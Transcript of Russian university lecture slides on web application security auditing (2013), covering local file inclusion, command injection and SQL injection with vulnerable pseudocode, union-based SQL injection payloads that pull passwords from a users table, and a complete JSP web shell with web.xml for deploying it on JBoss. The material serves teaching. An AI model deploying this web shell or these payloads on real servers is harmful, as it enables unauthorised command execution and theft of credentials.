Transcript
Page 1: Безопасность интернет-приложений осень 2013 лекция 3

Безопасность интернет-приложений

Лекция 3, «аудит web-приложений»

Page 2: Безопасность интернет-приложений осень 2013 лекция 3

2

Стадии анализа

Гипотеза

Проверка

Цель достигнута

да

нет

Page 3: Безопасность интернет-приложений осень 2013 лекция 3

3

Источники проблем

GET/POST – параметры

Cookies

Headers

File uploads

External sources

Page 4: Безопасность интернет-приложений осень 2013 лекция 3

4

Основные атаки

- Раскрытие информации- LFI/RFI- Command injection- SQL Injection- Загрузка произвольного файла

Page 5: Безопасность интернет-приложений осень 2013 лекция 3

5

LFI

http://target.com?getfile=valid

http://target.com?getfile=invalid

…Name = query;Print(LoadFile(Name));…

Page 6: Безопасность интернет-приложений осень 2013 лекция 3

6

LFI

http://target.com?getfile=index

Page 7: Безопасность интернет-приложений осень 2013 лекция 3

7

LFI

http://target.com?getfile=index

http://target.com?getfile=target

Page 8: Безопасность интернет-приложений осень 2013 лекция 3

8

LFI

…Name = query + “.txt”;Print(LoadFile(Name));…

Page 9: Безопасность интернет-приложений осень 2013 лекция 3

9

LFI

…Name = query + “.txt”;Print(LoadFile(Name));…

Page 10: Безопасность интернет-приложений осень 2013 лекция 3

10

command injection

…Param = query;System(“ping –c 1 ”+param);…

Page 11: Безопасность интернет-приложений осень 2013 лекция 3

11

command injection

…Param = query;System(“ping –c 1 ”+param);…

Page 12: Безопасность интернет-приложений осень 2013 лекция 3

12

command injection

…Param = query;System(“ping –c 1 ”+param);…

Page 13: Безопасность интернет-приложений осень 2013 лекция 3

13

SQL Injection

…Q = “select username from users where id=“ + req_id;print(db_query(Q));…

Detect:‘ and 1=1 / ‘ and 1=0‘ and benchmark (9999999,md5(1))

Exploit:‘ union select 1,2,3,4,5 from table2 – comment out

http://target.com/?id=-1 union select password from users -- c

select username from users where id=-1 union select password from users -- c

Page 14: Безопасность интернет-приложений осень 2013 лекция 3

14

пример: JBoss

Сканирование:

Page 15: Безопасность интернет-приложений осень 2013 лекция 3

15

пример: JBoss

Идентификация:

Page 16: Безопасность интернет-приложений осень 2013 лекция 3

16

пример: JBoss

Уязвимость:

Page 17: Безопасность интернет-приложений осень 2013 лекция 3

17

пример: JBoss

Уязвимость:

Page 18: Безопасность интернет-приложений осень 2013 лекция 3

18

пример: JBoss

Эксплуатация:

Page 19: Безопасность интернет-приложений осень 2013 лекция 3

19

пример: JBoss

cmd.jsp:

<%@ page import="java.util.*,java.io.*"%><%%><HTML><BODY>Commands with JSP<FORM METHOD="GET" NAME="myform" ACTION=""><INPUT TYPE="text" NAME="cmd"><INPUT TYPE="submit" VALUE="Send"></FORM><pre><%if (request.getParameter("cmd") != null) {out.println("Command: " + request.getParameter("cmd") + "<BR>");Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));OutputStream os = p.getOutputStream();InputStream in = p.getInputStream();DataInputStream dis = new DataInputStream(in);String disr = dis.readLine();while ( disr != null ) {out.println(disr);disr = dis.readLine();}}%></pre></BODY></HTML>

Page 20: Безопасность интернет-приложений осень 2013 лекция 3

20

пример: JBoss

WEB-INF/web.xml:

<?xml version="1.0" ?><web-app xmlns="http://java.sun.com/xml/ns/j2ee"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://java.sun.com/xml/ns/j2eehttp://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"version="2.4"><servlet><servlet-name>Command</servlet-name><jsp-file>/cmd.jsp</jsp-file></servlet></web-app>

Page 21: Безопасность интернет-приложений осень 2013 лекция 3

21

пример: JBoss

Эксплуатация:

Page 22: Безопасность интернет-приложений осень 2013 лекция 3

22

пример: JBoss

Эксплуатация:

Page 23: Безопасность интернет-приложений осень 2013 лекция 3

23

пример: JBoss

Результат:


Recommended